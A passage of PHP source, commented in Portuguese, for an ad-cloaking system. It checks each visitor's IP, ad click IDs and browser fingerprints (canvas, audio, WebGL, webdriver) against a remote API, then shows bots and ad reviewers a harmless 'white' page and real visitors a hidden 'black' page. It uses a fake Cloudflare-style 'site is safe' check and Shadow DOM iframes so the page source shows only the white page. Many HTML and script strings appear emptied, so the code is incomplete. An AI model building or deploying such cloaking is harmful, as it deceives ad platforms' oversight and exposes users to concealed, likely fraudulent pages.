=2 (segundo clique): redireciona DIRETO para o site black real if (isset($_GET['_nav']) && !empty($_GET['_nav'])) { $navUrl = base64_decode($_GET['_nav']); $depth = isset($_GET['_bd']) ? intval($_GET['_bd']) : 1; if ($navUrl && filter_var($navUrl, FILTER_VALIDATE_URL)) { if ($depth >= 2) { // Segundo clique: redireciona DIRETO para o site black real (sai do proxy) header('Location: ' . $navUrl); exit; } // Primeiro clique: continua no proxy com depth incrementado proxyRequest($navUrl, true, $depth + 1); exit; } } // Assets continuam via proxy if (isset($_GET['_asset'])) { proxyRequest($WHITE_URL); exit; } // ========================================== // FASE 1: CONSULTA INICIAL A API (sem dados JS) // ========================================== // Primeiro consulta a API para saber se vai para WHITE ou BLACK // Se WHITE: vai direto SEM tela de verificacao (bot nao ve nada suspeito) // Se BLACK: mostra tela de verificacao e coleta dados JS $visitorIP = getVisitorIP(); $visitorUA = $_SERVER['HTTP_USER_AGENT'] ?? ''; $referer = $_SERVER['HTTP_REFERER'] ?? ''; // UTMs e IDs de clique $utmSource = $_GET['utm_source'] ?? ''; $utmMedium = $_GET['utm_medium'] ?? ''; $utmCampaign = $_GET['utm_campaign'] ?? ''; $utmContent = $_GET['utm_content'] ?? ''; $utmTerm = $_GET['utm_term'] ?? ''; $ttclid = $_GET['ttclid'] ?? ''; $gclid = $_GET['gclid'] ?? ''; $fbclid = $_GET['fbclid'] ?? ''; // Se ainda NAO passou pela FASE 1 (sem POST), faz consulta inicial if (!isset($_POST['_detected'])) { // Consulta API SEM dados de deteccao JS (consulta inicial) $initialResponse = checkWithAPI($API_URL, [ 'action' => 'check', 'campaign' => $CAMPAIGN_SLUG, 'ip' => $visitorIP, 'ua' => $visitorUA, 'referer' => $referer, 'utm_source' => $utmSource, 'utm_medium' => $utmMedium, 'utm_campaign' => $utmCampaign, 'utm_content' => $utmContent, 'utm_term' => $utmTerm, 'ttclid' => $ttclid, 'gclid' => $gclid, 'fbclid' => $fbclid, 'initial_check' => '1' ]); // Se API diz WHITE: vai direto SEM tela de verificacao if ($initialResponse && isset($initialResponse['action']) && $initialResponse['action'] === 'white') { $method = $WHITE_METHOD; switch ($method) { case 'proxy': proxyRequest($WHITE_URL); break; case 'iframe': case 'shadow': echo ''; echo ''; echo ''; echo 'Carregando...'; echo ''; echo ''; echo ''; echo ''; echo ''; break; case 'redirect': default: // Usa pagina intermediaria para limpar URL antes de redirecionar $cleanUrl = strtok($_SERVER['REQUEST_URI'], '?'); $baseUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $cleanUrl; echo ''; echo ''; echo 'Redirecionando...'; echo ''; echo ''; echo ''; echo ''; break; } exit; } // Se API diz BLACK (ou nao respondeu): mostra FASE 1 de verificacao $currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; // Pagina de carregamento estilo Cloudflare - so aparece para quem vai para BLACK echo ' Aguarde...
Verificando se o site é seguro
Isso levara apenas alguns segundos...
'; exit; } // ========================================== // FASE 2: PROCESSAMENTO COM DADOS DE DETECCAO JS (so chega aqui se vai para BLACK) // ========================================== // Dados de deteccao enviados pelo JS via POST $webdriver = $_POST['webdriver'] ?? ''; $pluginsCount = $_POST['plugins_count'] ?? -1; $languages = $_POST['languages'] ?? ''; $screenWidth = $_POST['screen_width'] ?? 0; $screenHeight = $_POST['screen_height'] ?? 0; $timezone = $_POST['timezone'] ?? ''; $touchSupport = $_POST['touch_support'] ?? ''; $platform = $_POST['platform'] ?? ''; // Dados de deteccao avancada (score de bot headless) $advancedBotScore = $_POST['advanced_bot_score'] ?? ''; $advancedBotFlags = $_POST['advanced_bot_flags'] ?? ''; // Dados de fingerprinting $canvasFP = $_POST['canvas_fp'] ?? ''; $audioFP = $_POST['audio_fp'] ?? ''; $webglFP = $_POST['webgl_fp'] ?? ''; $emulatorScore = $_POST['emulator_score'] ?? ''; // Envia para API com todos os dados de deteccao $response = checkWithAPI($API_URL, [ 'action' => 'check', 'campaign' => $CAMPAIGN_SLUG, 'ip' => $visitorIP, 'ua' => $visitorUA, 'referer' => $referer, 'utm_source' => $utmSource, 'utm_medium' => $utmMedium, 'utm_campaign' => $utmCampaign, 'utm_content' => $utmContent, 'utm_term' => $utmTerm, 'ttclid' => $ttclid, 'gclid' => $gclid, 'fbclid' => $fbclid, // Dados de deteccao basica 'webdriver' => $webdriver, 'plugins_count' => $pluginsCount, 'languages' => $languages, 'screen_width' => $screenWidth, 'screen_height' => $screenHeight, 'timezone' => $timezone, 'touch_support' => $touchSupport, 'platform' => $platform, // Dados de deteccao AVANCADA 'advanced_bot_score' => $advancedBotScore, 'advanced_bot_flags' => $advancedBotFlags, // Fingerprinting 'canvas_fp' => $canvasFP, 'audio_fp' => $audioFP, 'webgl_fp' => $webglFP, 'emulator_score' => $emulatorScore ]); if ($DEBUG_MODE) { echo '
DEBUG Response: '; print_r($response); echo '
'; exit; } // Processa resposta if ($response && isset($response['action'])) { // Define URL e método de redirecionamento if ($response['action'] === 'black') { $targetUrl = $BLACK_URL; $method = $BLACK_METHOD; $isBlack = true; } else { $targetUrl = $WHITE_URL; $method = $WHITE_METHOD; $isBlack = false; } // Aplica o metodo de redirecionamento switch ($method) { case 'proxy': // Proxy puro - codigo fonte = alvo, visual = alvo proxyRequest($targetUrl); break; case 'iframe': // MODO STEALTH via iframe: codigo fonte WHITE, visual BLACK if ($isBlack) { proxyRequestStealth($WHITE_URL, $BLACK_URL); } else { // Para WHITE, iframe normal echo ''; echo ''; echo ''; echo 'Carregando...'; echo ''; echo ''; echo ''; echo ''; exit; } break; case 'shadow': // MODO STEALTH via Shadow DOM: codigo fonte WHITE, visual BLACK if ($isBlack) { proxyRequestShadow($WHITE_URL, $BLACK_URL); } else { // Para WHITE, proxy normal proxyRequest($targetUrl); } break; case 'redirect': default: // Redirect HTTP 302 (padrao) header('Location: ' . $targetUrl); exit; } } else { // Erro na API - vai para white page por seguranca header('Location: ' . $WHITE_URL); exit; } // ============================================ // FUNCOES // ============================================ function getVisitorIP() { $headers = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'REMOTE_ADDR']; foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ips = explode(',', $_SERVER[$header]); $ip = trim($ips[0]); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { return $ip; } } } return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; } function checkWithAPI($url, $data) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded', 'Accept: application/json'] ]); $response = curl_exec($ch); curl_close($ch); return json_decode($response, true); } /** * Proxy Reverso V5 - COM PROTECAO DE BLACK PAGE * - Busca CSS externo e reescreve URLs internas (fontes, @import, url()) * - Remove integrity/crossorigin que quebram recursos reescritos * - Suporta fontes CORS e cache de assets * - Intercepta fetch/XHR para requisicoes AJAX * - NOVO: Injeta Guardian na black page para detectar bots durante navegacao * * @param string $targetUrl URL de destino * @param bool $isBlackPage Se true, injeta Guardian para protecao extra * @param string $whiteUrl URL da white page para redirecionamento se bot detectado */ function proxyRequest($targetUrl, $isBlackPage = false, $depth = 1, $whiteUrl = '') { // URL atual do proxy (dominio limpo) $proxyHost = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST']; // Suporta navegacao interna via parametro _nav // Quando usuario clica em links dentro da pagina proxeada if (isset($_GET['_nav']) && !empty($_GET['_nav'])) { $targetUrl = base64_decode($_GET['_nav']); } // =========================================== // BUSCA ASSETS (CSS, JS, FONTES, IMAGENS) // =========================================== if (isset($_GET['_asset']) && !empty($_GET['_asset'])) { $assetUrl = base64_decode($_GET['_asset']); $ch = curl_init($assetUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0', CURLOPT_HTTPHEADER => [ 'Accept: */*', 'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8' ] ]); $assetContent = curl_exec($ch); $assetHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $assetContentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE) ?: 'application/octet-stream'; curl_close($ch); if ($assetContent === false) { header('HTTP/1.1 502 Bad Gateway'); exit; } // Se for CSS, reescreve URLs internas if (stripos($assetContentType, 'text/css') !== false || preg_match('/\.css(\?|$)/i', $assetUrl)) { $assetParsed = parse_url($assetUrl); $assetBaseUrl = $assetParsed['scheme'] . '://' . $assetParsed['host']; $assetBasePath = isset($assetParsed['path']) ? dirname($assetParsed['path']) : ''; if ($assetBasePath === '/' || $assetBasePath === '.' || $assetBasePath === '\\') $assetBasePath = ''; // Reescreve url() dentro do CSS $assetContent = preg_replace_callback( '/url\s*\(\s*[\"\']?([^\"\'\)]+)[\"\']?\s*\)/i', function($m) use ($assetBaseUrl, $assetBasePath, $proxyHost) { $url = trim($m[1]); if (preg_match('/^(data:|#)/i', $url)) return $m[0]; // Converte para absoluta if (preg_match('/^https?:\/\//i', $url)) { $absolute = $url; } elseif (strpos($url, '//') === 0) { $absolute = 'https:' . $url; } elseif (strpos($url, '/') === 0) { $absolute = $assetBaseUrl . $url; } else { $absolute = $assetBaseUrl . $assetBasePath . '/' . $url; } // Passa pelo proxy para fontes e imagens return 'url("' . $proxyHost . '/?_asset=' . base64_encode($absolute) . '")'; }, $assetContent ); // Reescreve @import $assetContent = preg_replace_callback( '/@import\s+[\"\']([^\"\']+)[\"\'];?/i', function($m) use ($assetBaseUrl, $assetBasePath, $proxyHost) { $url = trim($m[1]); if (preg_match('/^https?:\/\//i', $url)) { $absolute = $url; } elseif (strpos($url, '//') === 0) { $absolute = 'https:' . $url; } elseif (strpos($url, '/') === 0) { $absolute = $assetBaseUrl . $url; } else { $absolute = $assetBaseUrl . $assetBasePath . '/' . $url; } return '@import "' . $proxyHost . '/?_asset=' . base64_encode($absolute) . '";'; }, $assetContent ); $assetContentType = 'text/css; charset=UTF-8'; } // Headers header('HTTP/1.1 ' . $assetHttpCode); header('Content-Type: ' . $assetContentType); header('Cache-Control: public, max-age=86400'); header('Access-Control-Allow-Origin: *'); echo $assetContent; exit; } // =========================================== // BUSCA PAGINA HTML PRINCIPAL // =========================================== // CORRECAO V11.2: Verifica se o POST e da navegacao interna (formulario na pagina proxeada) // ou se e da fase de deteccao JS. No segundo caso, devemos fazer GET para nao enviar dados errados. // // O POST da deteccao JS contem: _detected=1, webdriver=0, plugins_count=X, etc. // Esses dados NAO devem ser enviados para a BLACK page! // // Identificamos POST de deteccao se: // 1. Nao tem _nav na URL (navegacao interna sempre usa _nav) // 2. Tem _detected no POST $isNavigationPost = isset($_GET['_nav']) && $_SERVER['REQUEST_METHOD'] === 'POST'; $isDetectionPost = isset($_POST['_detected']); // So faz POST real se for navegacao interna (formulario na black page), nao deteccao $isPost = $isNavigationPost && !$isDetectionPost; $postData = $isPost ? file_get_contents('php://input') : null; $ch = curl_init($targetUrl); $curlOpts = [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0', CURLOPT_HTTPHEADER => [ 'X-Forwarded-For: ' . getVisitorIP(), 'X-Forwarded-Proto: https', 'Referer: ' . $targetUrl, 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8' ] ]; if ($isPost) { $curlOpts[CURLOPT_POST] = true; $curlOpts[CURLOPT_POSTFIELDS] = $postData; $curlOpts[CURLOPT_HTTPHEADER][] = 'Content-Type: ' . ($_SERVER['CONTENT_TYPE'] ?? 'application/x-www-form-urlencoded'); } curl_setopt_array($ch, $curlOpts); $response = curl_exec($ch); $finalUrl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); curl_close($ch); if ($response === false) { header('HTTP/1.1 503 Service Unavailable'); echo 'Erro ao conectar ao servidor remoto'; exit; } // Se nao for HTML, retorna diretamente if (stripos($contentType, 'text/html') === false && stripos($contentType, 'application/xhtml') === false) { header('HTTP/1.1 ' . $httpCode); header('Content-Type: ' . $contentType); header('Cache-Control: public, max-age=86400'); echo $response; exit; } // Extrai base URL do destino $parsed = parse_url($finalUrl); $baseUrl = $parsed['scheme'] . '://' . $parsed['host']; $basePath = isset($parsed['path']) ? dirname($parsed['path']) : ''; if ($basePath === '/' || $basePath === '\\' || $basePath === '.') { $basePath = ''; } // Funcao para converter URL relativa em absoluta $makeAbsolute = function($url) use ($baseUrl, $basePath) { $url = trim($url); if (preg_match('/^https?:\/\//i', $url)) return $url; if (preg_match('/^(data:|javascript:|mailto:|tel:|#)/i', $url)) return $url; if (strpos($url, '//') === 0) return 'https:' . $url; if (strpos($url, '/') === 0) return $baseUrl . $url; return $baseUrl . $basePath . '/' . $url; }; // Funcao para criar link do proxy (URL limpa) com depth $makeProxyLink = function($url) use ($proxyHost, $makeAbsolute, $depth) { $url = trim($url); if (preg_match('/^(javascript:|mailto:|tel:|#|data:)/i', $url)) { return $url; } $absolute = $makeAbsolute($url); return $proxyHost . '/?_nav=' . base64_encode($absolute) . '&_bd=' . $depth; }; // Funcao para criar URL de asset via proxy $makeAssetProxy = function($url) use ($proxyHost, $makeAbsolute) { $url = trim($url); if (preg_match('/^(data:|javascript:|mailto:|tel:|#)/i', $url)) { return $url; } $absolute = $makeAbsolute($url); return $proxyHost . '/?_asset=' . base64_encode($absolute); }; // ============================================= // REMOVE INTEGRITY E CROSSORIGIN (quebram CSS/JS reescritos) // ============================================= $response = preg_replace('/\s+integrity=[\"\'][^\"\']*[\"\']/i', '', $response); $response = preg_replace('/\s+crossorigin(?:=[\"\'][^\"\']*[\"\'"])?/i', '', $response); // ============================================= // REESCREVE CSS VIA PROXY (para corrigir fontes e @import) // ============================================= $response = preg_replace_callback( '/]*)(href=[\"\']([^\"\']+)[\"\'])([^>]*)>/is', function($m) use ($makeAssetProxy) { $attrs = $m[1] . $m[4]; // Verifica se eh stylesheet if (stripos($attrs, 'stylesheet') !== false || preg_match('/\.css(\?|$)/i', $m[3])) { return ''; } // Outros links (favicon, preload, etc) - URL absoluta direta return ''; }, $response ); // Scripts: '; // ============================================= // GUARDIAN DESABILITADO PARA BLACK PAGE // A verificacao ja foi feita na FASE 1 (deteccao JS) // Manter Guardian ativo causava falsos positivos em ambientes de dev // ============================================= $guardianScript = ''; // Injeta scripts antes de $allScripts = $guardianScript . $proxyScript; if (stripos($response, '') !== false) { $response = str_ireplace('', $allScripts . '', $response); } else { $response .= $allScripts; } // ============================================= // HEADERS // ============================================= header('HTTP/1.1 ' . $httpCode); header('Content-Type: text/html; charset=UTF-8'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Access-Control-Allow-Origin: *'); header_remove('Set-Cookie'); header_remove('Transfer-Encoding'); echo $response; exit; } // ============================================ // FUNCAO STEALTH: Codigo fonte = WHITE, Visual = BLACK // Bot ve WHITE no View Source, humano ve BLACK visualmente // ============================================ function proxyRequestStealth($whiteUrl, $blackUrl) { global $DEBUG_MODE; // Busca conteudo da WHITE (isso e o que o bot vera no View Source) $ch = curl_init($whiteUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0', CURLOPT_HTTPHEADER => [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8' ] ]); $whiteHtml = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($whiteHtml === false || empty($whiteHtml)) { // Fallback: redireciona para white header('Location: ' . $whiteUrl); exit; } // CSS do overlay de carregamento $stealthCss = ' '; // HTML do overlay + iframe da BLACK $stealthHtml = '
Carregando...
'; // Injeta CSS no if (stripos($whiteHtml, '') !== false) { $whiteHtml = str_ireplace('', $stealthCss . '', $whiteHtml); } else { $whiteHtml = $stealthCss . $whiteHtml; } // Injeta overlay e iframe antes de if (stripos($whiteHtml, '') !== false) { $whiteHtml = str_ireplace('', $stealthHtml . '', $whiteHtml); } else { $whiteHtml .= $stealthHtml; } // DEBUG if (isset($_GET['v0debug'])) { echo '
'; echo '[STEALTH MODE]
'; echo 'Codigo fonte: WHITE (' . htmlspecialchars($whiteUrl) . ')
'; echo 'Visual: BLACK (' . htmlspecialchars($blackUrl) . ')
'; echo 'Bot ve: WHITE | Humano ve: BLACK'; echo '
'; } // Headers header('HTTP/1.1 ' . $httpCode); header('Content-Type: text/html; charset=UTF-8'); header('Cache-Control: no-cache, no-store, must-revalidate'); echo $whiteHtml; exit; } // ============================================ // FUNCAO SHADOW: Codigo fonte = WHITE, Visual = BLACK via Shadow DOM + iframe // O iframe fica escondido dentro do Shadow DOM (mais dificil de detectar no inspect) // ============================================ function proxyRequestShadow($whiteUrl, $blackUrl) { global $DEBUG_MODE; // Busca conteudo da WHITE (isso e o que o bot vera no View Source) $ch = curl_init($whiteUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0', CURLOPT_HTTPHEADER => [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8' ] ]); $whiteHtml = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($whiteHtml === false || empty($whiteHtml)) { header('Location: ' . $whiteUrl); exit; } // CSS para esconder conteudo original e centralizar iframe $shadowCss = ' '; // Script que cria Shadow DOM com iframe dentro $shadowScript = '
Carregando...
'; // Injeta CSS no if (stripos($whiteHtml, '') !== false) { $whiteHtml = str_ireplace('', $shadowCss . '', $whiteHtml); } else { $whiteHtml = $shadowCss . $whiteHtml; } // Injeta script antes de if (stripos($whiteHtml, '') !== false) { $whiteHtml = str_ireplace('', $shadowScript . '', $whiteHtml); } else { $whiteHtml .= $shadowScript; } // DEBUG if (isset($_GET['v0debug'])) { echo '
'; echo '[SHADOW MODE]
'; echo 'Codigo fonte: WHITE (' . htmlspecialchars($whiteUrl) . ')
'; echo 'Visual: BLACK (' . htmlspecialchars($blackUrl) . ') via Shadow DOM + iframe
'; echo 'Bot ve: WHITE | Humano ve: BLACK'; echo '
'; } // Headers header('HTTP/1.1 ' . $httpCode); header('Content-Type: text/html; charset=UTF-8'); header('Cache-Control: no-cache, no-store, must-revalidate'); echo $whiteHtml; exit; }